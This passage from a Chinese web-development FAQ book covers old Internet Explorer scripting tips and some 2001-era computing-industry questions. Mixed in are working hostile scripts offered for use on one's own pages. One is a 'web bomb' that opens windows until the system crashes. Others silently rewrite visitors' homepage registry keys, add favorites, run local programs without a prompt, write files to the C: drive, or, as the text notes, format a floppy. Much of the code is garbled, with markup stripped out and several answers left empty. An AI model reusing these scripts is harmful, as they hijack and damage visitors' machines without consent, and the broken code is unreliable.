第3部分
《《电脑十万个为什么》》 · 佚名 · 2026-07-25
move_function+="}\r";
move_function+=" else if ( mouse.bt =='up' && mywindowbt == 'down' ) { ";
move_function+=" mywindowbt='up';";
move_function+=" ofx=0;";
move_function+=" ofy=0;";
move_function+=" opx=0; ";
move_function+=" opy=0;";
move_function+=" }";
move_function+=" else if ( mywindowbt == 'down' && wincloseSTATUS == 'up') {\r";
move_function+=" var m_scrx = mouse.screenx;\r";
move_function+=" var m_scry = mouse.screeny;\r";
move_function+=" px = m_scrx - ofx;\r";
move_function+=" py = m_scry - ofy;\r";
move_function+=" top.window.moveTo(px,py);\r";
move_function+=" }\r";
move_function+=" setTimeout('initToMoveWin()',1);\r";
move_function+=" }\r";
move_function+=" initToMoveWin()\r";
newWindow=window.open("","newWindow","fullscreen=1","width="+w+",height="+h);
newWindow.resizeTo(w,h);
newWindow.moveTo(x,y);
newWindow.document.open();
newWindow.document.write('');
newWindow.document.write('\r');
newWindow.document.write('\r');
newWindow.document.write('\r');
newWindow.document.write('\r');
newWindow.document.write('');
newWindow.document.write('');
newWindow.document.close();
newWindow.focus();
}
//-->
<body onload="xwindow('400','330','50','50','- My Window -','#FFCC00','#000000','child.htm')"
107,Q:HTML 的 Access Key(存取键)的用法:
A:所谓“存取键”就像 windows 应用程序中的 Alt 快捷键,同时按 Alt 键和某个字母键,可以快速切换到文本框、按钮等页面对象上。
(1)、文本框的 Access Key:
其中的 标签产生下划线;For="Name" 和 ID="Name" 中的 Name 是一致的;ACCESSKEY=… 设置“热键”。
(2)、选择框的 Acsess Key:选择项目时不必非得在框内点击鼠标了,在文本上选择即可:
(3)、链接的快捷键:
按 Alt+[字母] 就可以打开一个链接,方便不方便?
108,Q:加速表格 的下载:
A:在 标签中加:style="table-layout:fixed"。
109,Q:去除作为链接的图片周围的虚框:
A:在链接标签 中加语句:onFocus="this.blur()",即:
110,Q:在网页中打开带模式的对话框窗口(在子窗口关闭之前父窗口不能获得焦点):
A:
window.showModalDialog('about_us/about_us.htm', null, 'dialogWidth=450px;dialogHeight=300px;center:1;scroll:0;
help:0; status:0')"
111,Q:关闭浏览器时自动打开一个窗口:
A:。
112,Q:让一个窗口在指定的时间内关闭:
A: (n 替换为数字,单位为“ms毫秒”)。
113,Q:用 css 定制 IE5.5 以上浏览器的滚动条:
A:改变滚动条的颜色(red):
改变滚动条箭头的颜色(green):
114,Q:介绍一个最简单的“Javascript 网页炸弹”:
A:把以下脚本放在你的网页中,当打开你的网页时,同时会打开若干个 IE 窗口(本例中为 10 个,用脚本中的变量 count 控制)。如果设置打开的窗口数非常多(100个?、1000个?、5000个?),那么就会耗尽 Windows 的系统资源,导致死机、系统崩溃。
var count=10; //打开窗口的个数
for(var i=0;i<count;i++) document.open('某网页文件.htm','','')
站长提醒:此法不要滥用;试验前保存你的数据。
115,Q:网页编程中响应鼠标双击事件:
A:
116,Q:javascript 脚本中 innerHTML 代表什么?
A:举个例子:
其中 test.innerHTML代表的就是 "我是张庆"
大家还可以试试 outHtml、innerText、outText 等属性。
117,Q:把你的主页强行、自动设置为 IE 浏览器的首页:
A:
document.write("");
function set2homepage()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
try{Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page","http:// 100000.home.sohu.com");}
catch(e){}
}
catch(e){}
}
setTimeout("set2homepage()",1); //1ms
118,Q:把你的主页强行、自动设置为 IE 浏览器的首页、同时添加到“收藏夹”中:
A:
document.write("");
//this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
//end add favorites or links function
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//根据 cookie 判断是否需要设置
//if (document.cookie.indexOf("Chg") == -1)
//{
// //set cookie
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
// //end set cookie
//set home page
var your_hmpg="http://100000.home.sohu.com"
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
// var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));
// document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
//end set home page
//add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc))
{
return;
}
}
//end common part
//the following line is used for adding favorites. to add multiple favorites, duplicate the following line, changing the last 2 paramaters
AddFavLnk(loc, "十万个为什么", "http://100000.home.sohu.com");
//end add favorites
//}
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
119,Q:把你的主页强行、自动添加到“收藏夹”中:
A:
document.write("");
function AddFavLnk(loc, DispName, SiteURL)
{var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f()
{
try
{
o=document.applets[0];
o.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
o.createInstance();
Shl = o.GetObject();
o.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
o.createInstance();
FSO = o.GetObject();
try
{
//Following 2 lines set Homepage:
//var your_hmpg=top.location
//Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", your_hmpg);
var WF, loc;
WF = FSO.GetSpecialFolder(0); // folder where WINDOWS is installed
loc = WF + "\\Favorites";
if(!FSO.FolderExists(loc)) // is Windows2000 up
{
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";
if(!FSO.FolderExists(loc)) { return; }
}
AddFavLnk(loc, top.document.title, top.location); //你也可以直接设置 top.document.title 为常量字符串
}
catch(e) {}
}
catch(e) {}
}
function init() { setTimeout("f()", 100); }
init();
注:如果你的主页在 Frame 中,则收藏夹中的提示信息取分帧的主页的 Title。你也可以直接设置为常量字符串。
120,Q:用代码关闭 IE 窗口时不提示:
A:
function closewin() { cn=closes.Click(); }
121,Q:如何保存网页上的 Flash 动画?
A:1、在浏览网页的网站里面找 *.swf 文件,然后用蚂蚁之类的下载软件拉;
2、直接到 IE 的缓存目录里面搜索 *.swf 文件比较快;
3、如果在脱机浏览时,还能够看到 Flash,万幸! 赶快到 Windows 目录下的 Temporary Internet Files 文件夹下去找 Flash(Windows2000 下在 \Documents and Settings\用户名\Local Settings 文件夹下),它也许正老老实实地躺在那里呢。
122,Q:在网页中应用 wsh 对象执行浏览器端的程序(以运行 Command.com 为例)
A:必须把浏览器的安全级别设置为最低才能执行以下脚本。
wsh.run('c:\\command.com');
注意:如果把 'c:\\command.com' 换成 'Format a: /autotest/q/u',就会不出现任何提示,自动格式化本地浏览者的软盘! 请各位试验时保护好自己的数据,更提醒各位不要用此法害人!
123,Q:在网页中给浏览器端写文件
A:浏览包含以下代码的网页,会在浏览器端的 C: 盘跟目录下生成一个名为 file_created_by_ocx.txt 的文本文件,文件内容中包含字符串 "myfile:I want to write a file!":
document.scr.Reset();
document.scr.Path="C:\\file_created_by_ocx.txt";
document.scr.Doc="myfile:I want to write a file!";
document.scr.write();
124,Q:在网页中不加任何提示打开浏览器本地可执行程序:
A:
document.write("");
function runcmd()
{
try
{
obj=document.applets[0];
obj.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); //Windows Scripting Host 的外壳对象
obj.createInstance(); //创建 wsh 的一个实例
Shell=obj.GetObject();
Shell.run('c:\\command.com');
}
catch(e){};
}
setTimeout("runcmd()",1); //1ms
125,Q:用 GUID 构造 hta 文件:
A:建立一个名为 myfile.txt.{3050F4D8-98B5-11CF-BB82-00AA00BDCE0B} 的文件,看上去是一个文本文件,其实是一个 hta 文件,双击可以用 IE 打开。
126,Q:应用 wsh 对象的又一方法
A:
wsh=new ActiveXObject("WSCript.Shell") //声明
wsh.run("command.com") //执行命令
该脚本在 .hta 文件中执行没有提示,在 .htm 中执行有提示,且只有 IE 的安全级别设为最低才能执行。
127,Q:在网页上按任意键后,进入另一个页面
A:在网页的 中间放置以下脚本即可。注意必须使当前页面获得“焦点”。
this.location="another.htm"
128,Q:在 FLASH 中是不是只能够插入 wav 格式的音乐文件?
A:在 Flash4 中只能插入 wav 格式,但在 Flash5 中已经可以插入别的格式了。如 MP3。
129,Q:Asp 与 Javascript 交换数据时一个问题的解决
A:有下列一段代码,用 Javascript 接受 Asp 的一个变量 strVal 的值:
alert()
但是,在 Js 中,显示该值为 "68",显然 Js 把 Asp 的字符串值 "0104" 作为自己的 8 进制数给用了(在 Js 中以 0 打头的数值为 8 进制数)。由于 Js 为弱类型的语言,它接收到 strVal 的值后默认其为数值型变量。这就把变量的类型给强行转换了。
为了避免这两种语言交换字符串数据时产生的语义分歧,必须在 Asp 中给字符串的首、尾加上单引号,这样 Js 接收后就不会误会了,即:
130,Q:在网页中用 Javascript 判断 IE 窗口是否打开,还可以对 IE 窗口进行关闭/置前/置后操作
A:按“打开窗口”按钮后,如果 new.htm 没有打开,则打开它;如果打开了,就报告“new.htm is already opened.”。
var myPage;
function openMyPage()
{
if (!myPage || myPage.closed)
{ myPage=window.open("new.htm", "_blank"); }
else
{ alert("new.htm is already opened."); }
}
以下函数还可以关闭上面打开的 IE 窗口:
function closeMyPage()
{ myPage.close(); }
置前 IE 窗口:
function focusMyPage()
{ myPage.focus(); }
置后 IE 窗口:
function blurMyPage()
{ myPage.blur(); }
以上方法只能打开、判断、操作本 IE 内代码控制的窗口,对别的 IE 进程的子窗口不起作用。
131,Q:用 Javascript 存取剪贴板:
A:
132,Q:网页中判断 IE 客户端是否装有 office
A:
function CheckExcel()
{
try
{new ActiveXObject("WScript.Shell");}
catch(x) {return false;}
try
{new ActiveXObject("Excel.Application");}
catch(x){return null;}
return true;
}
res=CheckExcel();
switch(res)
{
case true:
alert("安装有 EXCEL"); break;
case null:
alert("没有安装"); break;
case false:
alert("ActiveX 被禁用");
}
133,Q:Javascript 命令参数 external 的几个用法:
A: Window.external 就如同 print 参数一样,是 IE 默认的一个命令参数,我们最常用的用法是:
(1)、external.AddDesktopComponent:把某一个网页变成用户的桌面。如果你知道有壁纸网站的话,不访用这个功能,直接就能让浏览者把喜欢的图片、页面变成自己的桌面。如果页面里有 Flash 动画那就更酷了。
function wallpaper()
{window.external.AddDesktopComponent("url","title",0,0,1024,768);}
(2)、external.AddFavorite:把网站加入到用户的收藏夹。在页面上添加一个按钮,让浏览者可以方便地把页面地址保存在 IE 收藏夹里。
function add()
{window.external.AddFavorite("url","title");}
如果把 url 和 title 替换成 this.location.href, this.document.title 则自动把当前页面地址及其标题添加到浏览器收藏夹。
(3)、window.external.ShowBrowserUI:启动 IE 的“语言设置”和“整理收藏夹”功能。
134,Q:干掉免费个人主页上强加的广告窗口、广告条
A:一些免费主页经常在你的主页上强加各种类型的广告,很是烦人。但如果注意到它们都是以明文文本代码的形式加在网页中的某个固定的地方,则要干掉它们就不是很困难了。站长收集了一些技巧贴出来供大家参考:
1)、利用 注解标志来欺骗。
例如
处插进去的
// 这才是真的 body!
2)用<META 这个标志来欺骗。
例如:
前面,插在这,等于没插
3)直接利用下面的代码屏蔽掉广告代码中弹出窗口用的函数 open()
<!--
function open() {return true;} // OK,这就是我们要的
//-->
4)有的时候广告代码前会放 就搞定了。
// 下面是广告插入的代码。
......
5)屏蔽掉广告打开的指定页面。
<!--
function ScreenIt(url,name,parm)
{
if(url.indexOf("popup.html")!=-1) return false; // popup.html 是广告页面。
return window.Xopen(url,name,parm);
}
window.Xopen=window.open;
window.open=ScreenIt;
//-->
6)干掉包含指定名字的弹出窗口
<!--
function ScreenIt(url,name,parm)
{
if(name.indexOf("opup")!=-1) return false; //广告窗口名字包含“opup”
return window.Xopen(url,name,'toolbar=1,location=1,directories=1,status=1,menubar=1,scrollbars=1,resizable=1');
}
window.Xopen=window.open;
window.open=ScreenIt;
//-->
135,Q:屏蔽 IE 的右键菜单,并定制自己的右键菜单
A:
#ie5menu
{
position:absolute;
width:150px;
border:1px solid green;
background-color:menu;
font-family:Verdana;
font-size:9pt;
line-height:20px;
cursor:hand;
visibility:hidden;
}
.menuitems
{
padding-left:15px;
padding-right:15px;
}
-->
//set this variable to 1 if you wish the URLs of
//the highlighted menu to be displayed in the status bar
var display_url=0
function showmenuie5()
{
var rightedge=document.body.clientWidth-event.clientX
var bottomedge=document.body.clientHeight-event.clientY
if (rightedge<ie5menu.offsetWidth)
ie5menu.style.left=document.body.scrollLeft+event.clientX-ie5menu.offsetWidth
else
ie5menu.style.left=document.body.scrollLeft+event.clientX
if (bottomedge<ie5menu.offsetHeight)
ie5menu.style.top=document.body.scrollTop+event.clientY-ie5menu.offsetHeight
else
ie5menu.style.top=document.body.scrollTop+event.clientY
ie5menu.style.visibility="visible"
return false
}
function hidemenuie5()
{
ie5menu.style.visibility="hidden"
}
function highlightie5()
{
if(event.srcElement.className=="menuitems")
{
event.srcElement.style.cursor="hand"
event.srcElement.style.backgroundColor="highlight"
event.srcElement.style.color="white"
if(display_url==1) window.status=event.srcElement.url
}
else
event.srcElement.style.cursor="default"
}
function lowlightie5()
{
if (event.srcElement.className=="menuitems")
{
event.srcElement.style.backgroundColor=""
event.srcElement.style.color="black"
window.status=''
}
}
function jumptoie5()
{
if(event.srcElement.className=="menuitems") window.location=event.srcElement.url
}
document.oncontextmenu=showmenuie5
if (document.all && window.print) document.body.onclick=hidemenuie5;
点击右键打开菜单
136,Q:如何用 javascript 判断输入的日期是否有效
A:主要原理是把得到的年月日拼成字符串与客户端输入的做比较,如相等则对,否则错。函数如下:
function checkDate(inString,fieldName)
{
var tempDate;
var a=new Date(inString);
var y=a.getFullYear();
var m=a.getMonth()+1;
var d=a.getDate();
var myday=y + "/" + m + "/" + d
if (myday!=inString)
{
alert "请为"+ fieldName +"输入一有效日期(yyyy/m/d/)。";
return false;
}
return true;
}
137,Q:浏览器 Open 窗口的参数:
A:
open('Url',
'',
'toolbar=no,
location=no,
status=no,
menubar=no,
scrollbars=no,
resizable=no,
width=200,
height=100,
left=200,
top=100'
)">
注:left,top 对 IE 有效,在 Netscape4 里用 screenX,screenY 参数。
138,Q:在 DW 中怎样控制弹出窗口大小
A:在 DW 中选中你所要设置连接的文字(需先加 # 连接)或图片,打开行为面板,点击 + 号,选择 OPEN BROWSER WINDOW,在弹出的对话框中设定你所需要的参数即可。
139,Q:怎样控制打开首页窗口的大小?
A:首页是自行打开的,所以没有父窗口来控制其大小,这时可以应用 javascript 的 resizeTo 函数来达到目的:
function resizewindow(w,h) {window.resizeTo(w,h);}
......
140,Q:如何尽量使 Asp 的代码保密?
A:产品完成后交付用户,但 Asp 代码始终是以明文文本的方式存放,不排除用户错误修改的可能。为了尽可能的减少(核心)代码暴露,可以把一些代码封装制作成 .dll 文件的形式注册在 Web 服务器上,在 Asp 中调用。制作 dll 的工具很多,如 VB、Delphi、VC++ 等。像通过 delphi 的 Web application 创建的 dll 文件就可以直接在 Personal Web Server 和 IIS 中运行。
141,Q:制作 cell 突出的表格
A:
表格突出示例 表格突出示例
142,Q:页面动态分割条
A:演示
第七卷 第二章
?ARJ.EXE DOS 环境下最流行的压缩软件,有时还会用到
Pc2oem Ver0.01 (2,471k) 站长免费软件作品: 设置 Windows 的 OEM 信息,有趣又有用。pc2OEM 收录在华军软件园 http://nj.onlinedown.net/PC2OEM.HTM,自由下载。
留言簿: BBS.EXE (51k) 站长作品:一个用 ASP 做的留言簿。根据压缩包里的 Readme.txt 进行安装。非常简单、好用。
Web《同学录》infobook.zip (34k) 站长作品:网站上运行的《同学录》,访客自行登记、修改个人信息。可查询所有信息。 用 ASP 编写。
网页制作技术资料下载 演 示
colors.zip 资料: 网页制作颜色集 演 示
fade_image.zip 图片淡出
game_pingpang.zip Web 游戏:碰碰球
going_clock.zip 仿真时钟
keep_image.zip 固定的图标
lasting_music.zip 实现连续的背景音乐
marqueen.zip 仿TV演职员表
mouse_trace.zip 鼠标跟随效果
move_background.zip 移动的屏幕背景
move_image.zip 飞来飞去的图片
ActiveX 控 件 下 载
Gb2Big.zip (41k) GBBig 汉字内码转换 ActiveX 控件
Gif_ocx.zip (186k) 播放 Gif 动画 ActiveX 控件
sun2moon.zip (14k) 阳历转换为农历 ActiveX 控件
Add2IeToolbar.ocx (11k) 站长作品:ActiveX 控件,在 IE 的工具栏上添加类似 Netants 的自定义按钮
Delphi 汉 化 资 源
qrprev.dfm.zip (3k) Delphi6.0 报表预览器汉化文件
Delphi5_consts.dcu.zip (16k) Delphi5.0 的 consts.pas 的汉化文件(已编译)
Delphi5_graphics.dcu.zip (115k) Delphi5.0 的 graphics.pas 的汉化文件(已编译)
第七卷 第三章
1,Q:用 DOS 还是 Windows?
A:如今这已经是一个不成问题的问题了。但在微机操作系统的发展史上,用 DOS 还是 Windows,曾经困惑了人们几年的时间。 直到 1995 年 8 月,中文 Windows95 的发布,Windows 才成为中国人的必然选择。如今,虽然是 Windows 的一统天下,但 DOS 的精巧和稳定仍然常常让一些老鸟怀想 DOS 时代的美好时光。但电脑归根结底是为人民服务的,用 DOS 还是 Windows 是电脑用户个人的事,只要电脑能为你打出精美的文稿、处理繁杂的业务,用 DOS 还是 Windows, 您随便。
2,Q:什么是“摩尔定律”?
A:“摩尔定律”是以 Intel 公司的奠基人戈登.摩尔的名字命名的。戈登.摩尔认为, 处理器的能力每 18 个月的时间就会翻一倍。在过去的几十年里,计算机特别是微型计算机,它的微处理器以及许多新技术的发展速度均遵循摩尔定律的法则。 摩尔定律现在已经被“移植”到许多新领域,如煤体传播领域。Internet 的发展也被人们认为遵循摩尔定律的规律。
3,Q:企业上网为什么“雷声大,雨点小”?
A:有观点认为:
(1)对信息技术的恐惧心理;
(2)对传统商业模式的过分依赖;
(3)短期内不能迅速带来经济效益(更谈不上“电子商务”),使经营者对“触网”心存疑虑;
(4)电信等部门把企业引上网后, 没有解决企业信息的组织、发布等后续的问题,使企业上网效果不佳,没有尝到互连网的“甜头”。
4,Q:网上购物的最大障碍是什么?
A:一部分人认为:(1)售后没保障;(2)网上支付等信用制度不完善; (3)商品配送慢;(4)商品数量少。
5,Q:IP 地址够用吗?
A:随着 Internet 爆炸性的增长,IP 地址的分配越来越困难,如果不加以控制, IP 地址资源会很快用完。现在,网络工程师们已经在想办法从技术上解决这一难题。目前应用的办法有:采用 DHCP 协议, 应用代理服务器,以及地址翻译等,并且考虑向 IPv6 转移。
6,Q:如何看待大学生创业?
A:2000 年 1 月,教育部颁布了一项有关“大学生、研究生(包括硕士、博士研究生) 可以休学保留学籍创办高新技术企业”的政策。就在这个政策颁布前后,国内许多高校骤然成立了一大批大学生成立的公司。 但在泡沫消失之后,许多公司纷纷倒闭。综观大学生创业,得到的启示是:大学生缺少必要的管理经验、市场运作策划能力、 正确面对失败的心态,学生公司普遍缺少资金,只有知识和技术是远远不够的。在创业热潮中,学生更需要的是冷静的头脑, 扎实的技能。成熟的思想加上必要的素质和技能,才是学生创业的前提。有的专家甚至说:“大学生应该从实验室开始自己的创业。” 看来也不是没有道理的。
7,Q:网络萧条即将来临吗?
A:虽然在全球众多网络公司中,赢利的寥寥无几,但现在就要下结论说网络经济大萧条即将来临似乎还为时过早。
网络经济的出现和发展,有赖于风险投资资本的积极介入,使其迅速发展成一种全新经济,渗透到世界各个角落,并影响世界经济格局。现在,人们越来越依赖于网络带来的便利,足不出户,便得知天下大事,甚至可以做自己想做的每一件事情。所谓新经济,主要是指网络,以及与网络有关的企业。旧式经济的代言人称网络为"洪水猛兽",可见其对旧式经济的冲击是多么猛烈。事实上,旧式经济经过上百年取得的支配和主导地位,眼看要被刚出现几年,却日益完善的网络经济所取代。
风险投资公司在旧式经济时代几乎无发展可言,因为没有它们可供投资、获得高利润的风险企业,如成立于1946年的美国研究与发展风险投资公司,多年来风险资本一直很小,发展缓慢。但是自网络出现后,包括这家公司在内的所有风险投资公司迅速发展壮大起来,资金越积累越雄厚,这说明网络本身就是一种风险。对风险投资公司而言,只有投资高风险企业,才能获得它们渴望追求的最高利润。反过来,它们的投资额度越大,网络发展就越迅速,换句话说,风险资本的注入推动了网络经济以惊人的速度发展。业内人士指出,如果不是风险资本的积极介入,网络时代肯定会到来,大大小小的网络企业肯定会建立,电子商务也会随之而至,但时间或许要缓慢得多。专家们说,美国的亚马逊、雅虎、电子港湾等之所以能够迅猛发展,一个主要原因取决于风险投资公司的资金介入。据统计,美国经济从1995年以来增长率平均达到4.4%,就是因为新经济推动的结果。
虽然在全球众多网络公司中,赢利的寥寥无几,但现在就要下结论说网络经济大萧条即将来临似乎还为时过早。这是因为:
一、风险投资公司通过多年投资,获利已颇为丰厚;
二、网络经济的长期繁荣造就了投资者坚定的投资信念,人们认为网络企业是朝阳产业,即便基因工程铺天盖地到来的时候也不例外;
三、伴随著网络企业的纵深发展,新技术浪潮层出不穷,有利于网络经济的进一步发展。
在 21 世纪,网络的走向同样让人捉摸不定,但有一点却有人大胆预言,据报道,SUN 公司董事长麦克里尼日前说,免费软件时代即将来临,未来不论个人电脑、移动电话或信息家电所使用的软件统统不用钱。因此他认为,微软已经是过去产物,未来属于 SUN 这样的企业。 c
8,Q:网络七大“错觉”:
A:你可能不会相信你的圣诞礼物会从烟道里出来,也可能不会相信丑小鸭有一天会变成美丽的小天鹅,因为那只是美好的祝愿或者传说,那么我相信你也不会相信下面所列举的网络错觉了。
首先是电子商务方面的三大错觉:
1、世界上有数百万个.com 公司。据 IDC 证实,目前全世界受风险资金投资的网络新兴公司仅有 2500 家。
2、所有的电子商务网站都在亏损。据 IDC 对 600 家电子商务网站的调查显示,到今年年底大约有半数.com 有望盈利,目前已有 35% 的.com 处于赢利状态。比如 FTD 的子公司 FTD.com 等。
3、.com 的 CEO 都是初出茅庐的年轻人。据 IDC 统计,他们中的 60% 处于 30 至 50 岁之间。
有关 P2P 的错觉:
4、P2P 将是未来网络的主流。但业界人士从来不这么认为。Forrester Research 的分析家 Eric Scheirer指出:P2P 只是一种通信手段,不是商业模式。其他的众多专家也认为目前还不能证实P2P在商业领域的有效性,再者从计算机平台和软件等诸多因素来看,人们也无法看到这一新生事物的现实有效性。
家庭办公的错觉:
5、未来的工作形式肯定是家庭办公。据 IBM 的调查,所有工作都可以在家做的就业者在全美不足 50%。而且这一比例还有进一步下降的趋势。
除此之外还有如两条不可信:
6、互联网的出现使全家一起度过的时间减少。据最近的调查显示,家庭上网后,全家人一起度过的时间并未减少。相反还有 92% 的人回答说增加了。
7、互联网上的消息不如其他媒体的消息可靠。其实作为一种新兴媒体,互联网在新闻的时效上自不待言,在准确性上也丝毫不亚于其他媒体,这是美国乔治大学的网络分析家 Steve Klein 的观点。 (2001.3)
9,Q:中国电子商务的四大瓶颈:
A:在经历了长长的摸索之后,电子商务先驱们终于得出了结论,在中国发展这一行业有四大瓶颈,即:
(1)、配送物流;
(2)、支付方式;
(3)、传统消费偏好;
(4)、网上交易安全性。
10,Q:内容网站的生存根本?
A:有作者撰文认为,内容网站的生存根本应包括:
网站内容必须有原创性;
网站内容必须加上差异性;
网站的内容必须收费;
网站内容必须根据不同的客户进行定制;
网站内容必须进行联盟经营。
11,Q:我该用哪种语言写程序?
A:目前,流行的计算机语言非常多,如 VB、VC++、Vfp、Delphi、C++Builder、J++Builder、PB、Perl、ASP、PHP、JSP、Java、JavaScript、VbScript、C#、ASP+、HTML、XML、CSS 等等,已经不像 5 年前只有 Basic、Pascle、Turbo C、Fortran、Coble、Foxpro 等容易让人选择,而且新的语言还在不断出现。那么,如果你打算投身计算机这个行业,你准备学习哪门语言呢?
要选择什么语言,应根据你的从业方向,还有你以往的语言基础来决定。如果你打算从事数据库方面的编程,那么 PB、VB、Delphi、Vfp 可以选择,当然 PB 是首选;如果你打算从事网络(非网站)编程,那么可以选择 VC++、C++Builder、Delphi 等语言,笔者推荐 C++Builder 语言,它具有 Delphi 容易上手、使用简单的优点,又能为你参加考试做好准备,因为现在计算机考试的标准语言是 C 语言。当然现在许多程序员以能够操控 VC++ 为荣耀,甚至认为只有使用 VC++ 的程序员才是程序员,你怎么看是你自己的事了。如果你打算从事网站编程,那么 HTML、ASP、PHP、JSP、XML、Javascript 等不能不学,笔者的经验是先学 HTML、ASP、Javascript 等,再过度到 XML、JSP 等。
以上是考虑从业的需要。如果你原来已经对 VB 有相当的了解(许多人开始学习计算机是从 VB 起步的),那么,不要轻言放弃,VB 在数据库、多媒体等方面功能并不逊色,况且有大量的优秀软件是用 VB 开发的,微软的许多开发应用中都有 VB 的影子。而且今天的 VB 已经是今非昔比了,它已经具备了开发网络应用、系统程序的能力,而且微软还在加强它的功能。当然,如果你对 C/C++ 非常熟悉,那么你学习 JavaScript、Java、JSP、C# 将会顺手得多。
笔者再谈一下语言的“尊卑贵贱”问题。现在在一些人的意识里,确有这种心理:越难学的语言其“含金量”越高。笔者曾在 Internet 上听人传闻“现在 Java 的年薪是 5 万元。”这样以来,像 VB 这种曾经为计算机的发展作出过巨大贡献的语言,就遭到一些企业的轻视,有人把 VB 称为“业余”语言,言下之意,VB 只配老百姓在茶余饭后“玩玩”。相应的是,一些想成为“程序员”的人,拼命嚼着 VC++ 的 MFC 和类、封装、继承等一些古怪的字眼,并以此为莫大的荣耀,认为已经接近了计算机的“真谛”。
而事实的真相是怎样的呢?微软的享誉世界的字处理软件 Word 是用 VB 开发的;微软的 ASP、宏语言等都是 VB 的子集。由此可以看出 VB 的功能是何等的强大!最终用户实际使用的是成型的软件,是软件给他们的工作、生活带来的效率和乐趣,他们在购买和使用软件的时候不会看它是不是用 C 语言制作的。某些企业只所以在招聘员工的时候强调要熟悉 VC++、Delphi、PB,只是为了向外界表明它的某种“档次”,实际上含有商业攀比和广告、公关的成分。
最后总结一下:笔者推荐的 PB、Delphi、VB、C++Builder、HTML、XML、ASP、JSP、C# 是考虑到一个计算机从业者从吃饭、应试到发展的需要,你可以用 VB、ASP、Delphi、PB 之一去糊口,用 C++Builder 去应付考试,用 C#、XML、ASP+、Java 等新技术去发展。
(Declear:以上只是张庆的一家之言,仅供参考。 2001.2.19)
12,Q:作为一个计算机行业的初入道者,我准备向网络方面发展,应该准备什么知识?
A:(1)、首先选择一种主攻的网络操作系统,如 Linux/Unix、WindowsNT/2000 Server、Netware 等; (2)、学习网络、通讯的基本理论知识(包括基本协议等),最好参加一种相关的考试;
(3)、具有综合布线、简单系统集成的经历;
(4)、熟悉一种网络数据库,如 MS-SQL Server、Oracle、Sybase 等;
(5)、精通网站的建设和维护,熟悉常用网络软件如 Notes、BackOffice、DreamWeaver、Email 客户软件等;
(6)、一定的计算机语言基础,如 Html、XML、JavaScript、ASP、VB、C/C++ 等;
(7)、熟悉常见网络互连设备的连接、配置、维护,如路由器、交换机、网卡、集线器等;
(8)、和高手参加大型项目的设计、实施。关键是实践。
13,Q:给一些洋文凭亮出红灯:四种洋文凭不被中国承认
A:国际教育展又将鸣锣开张,然而好不容易出国学习一场却得来一纸不被用人单位承认的证书,这样的事应避免发生。2001 年年初,中国留学中心传出消息,以下四类证书目前不在学历认证受理范围之内:
1、外语补习和攻读其他非正规课程(如短期进修)所获得的结业证书;
2、进修人员和访问学者的研究经历证明;
3、未经国务院学位委员会办公室批准的任何形式的联合办学所颁发的证书;
4、函授取得的国外学历、学位证书。
另:从 2000 年 2 月开始,我国对国外教育机构颁发的学历文凭进行认证。认证范围包括:
1、在国外攻读正规课程所获大学专科以上(含大专)学历、学位证书;
2、经国务院学位委员会批准的联合办学项目取得的外国学历、学位证书。
认证内容有:
1、确认申请人是否曾在国外颁发证书的高等院校或教育机构、科研机构学习或研究;
2、确认申请人就读学校或机构是否为所在国政府或权威评估机构所认可;
3、确认申请人就读学校或机构是否开设有证书涉及的专业并授予相应的学位;
4、确认申请人是否确实获得该学历或学位;
5、确认申请人就读的学历年限;
6、确认申请人所获国外学位证书、文凭类别和学历层次。
目前认证服务受理范围的国家有:美、加拿大、澳大利亚、新西兰、英、法、德、荷兰、比利时、意大利、丹麦、瑞士、瑞典、芬兰、挪威、日本、新加坡、印度、蒙古、朝鲜、韩国、泰国以及俄罗斯、乌克兰等独联体国家。
此外,教育部留学服务中心还为中国招生和用人单位鉴别外国学位证书及高等教育文凭、证书提供咨询意见,并开展专门的对留学人员所获国外学历、学位证书的认证服务。
14,Q:2001 年 2 月 9 日中美海底光缆阻断的原因
A:据了解,于 2001 年 2 月 9 日发生的中美海缆阻断事故,其直接维修费用估计在 500 万至 600 万元人民币,间接经济损失更是无法估算。事故发生后,许多国外网站无法浏览,一些公司的业务被迫中断,甚至传说有的公司因此影响而倒闭。
